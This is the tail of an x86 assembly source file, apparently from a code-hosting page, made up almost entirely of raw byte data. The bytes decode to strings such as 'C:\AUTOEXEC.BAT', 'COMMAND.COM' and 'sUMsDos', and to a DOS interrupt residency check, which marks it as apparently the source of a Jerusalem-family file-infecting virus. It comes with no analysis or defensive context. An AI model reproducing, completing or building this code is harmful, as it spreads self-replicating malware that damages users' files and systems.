||||
|
||||
DB 04DH, 09BH, 018H, 004H, 000H, 000H, 000H, 000H
|
||||
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
|
||||
DB 000H, 001H, 000H, 000H, 000H, 000H, 000H, 032H
|
||||
DB 000H, 000H, 000H, 02FH, 000H, 0FFH, 0FFH, 0FFH
|
||||
DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH
|
||||
DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 043H
|
||||
DB 03AH, 05CH, 041H, 055H, 054H, 04FH, 045H, 058H
|
||||
DB 045H, 043H, 02EH, 042H, 041H, 054H, 000H, 061H
|
||||
DB 075H, 074H, 06FH, 065H, 078H, 065H, 063H, 00DH
|
||||
DB 000H, 0FFH, 0FFH, 0FFH, 000H, 000H, 000H, 000H
|
||||
DB 04DH, 09BH, 018H, 000H, 010H, 09AH, 0F0H, 0FEH
|
||||
DB 01DH, 0F0H, 02FH, 001H, 09BH, 018H, 03CH, 001H
|
||||
DB 0E9H, 092H, 000H, 073H, 055H, 04DH, 073H, 044H
|
||||
DB 06FH, 073H, 000H, 001H, 026H, 01CH, 000H, 000H
|
||||
DB 000H, 074H, 02AH, 0ABH, 000H, 0CDH, 017H, 060H
|
||||
DB 014H, 09FH, 002H, 056H, 005H, 09BH, 018H, 053H
|
||||
DB 03AH, 000H, 000H, 000H, 000H, 000H, 000H, 000H
|
||||
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
|
||||
DB 000H, 0B5H, 01BH, 080H, 000H, 000H, 000H, 080H
|
||||
DB 000H, 0B5H, 01BH, 05CH, 000H, 0B5H, 01BH, 06CH
|
||||
DB 000H, 0B5H, 01BH, 010H, 007H, 0EDH, 014H, 0C5H
|
||||
DB 000H, 0EDH, 014H, 046H, 002H, 0A1H, 000H, 04DH
|
||||
DB 05AH, 0F0H, 000H, 0B2H, 000H, 038H, 001H, 060H
|
||||
DB 000H, 0D3H, 006H, 0FFH, 0FFH, 05EH, 015H, 010H
|
||||
DB 007H, 084H, 019H, 0C5H, 000H, 05EH, 015H, 01EH
|
||||
DB 000H, 000H, 000H, 037H, 020H, 02AH, 02AH, 02AH
|
||||
DB 005H, 000H, 020H, 000H, 030H, 00FH, 000H, 060H
|
||||
DB 000H, 002H, 010H, 000H, 0E0H, 05BH, 001H, 000H
|
||||
DB 0B9H, 041H, 02AH, 09BH, 043H, 04FH, 04DH, 04DH
|
||||
DB 041H, 04EH, 044H, 02EH, 043H, 04FH, 04DH, 001H
|
||||
DB 000H, 000H, 000H, 000H, 000H, 0FCH, 0B4H, 0E0H
|
||||
DB 0CDH, 021H, 080H, 0FCH, 0E0H, 073H, 016H, 080H
|
||||
DB 0FCH, 003H, 072H, 011H, 0B4H, 0DDH, 0BFH, 000H
|
||||
DB 001H, 0BEH, 010H, 007H, 003H, 0F7H, 02EH, 08BH
|
||||
|
||||
ENDADR EQU $
|
||||
|
||||
CODE ENDS
|
||||
|
||||
END START
|
||||
|
||||
Reference in New Issue
Block a user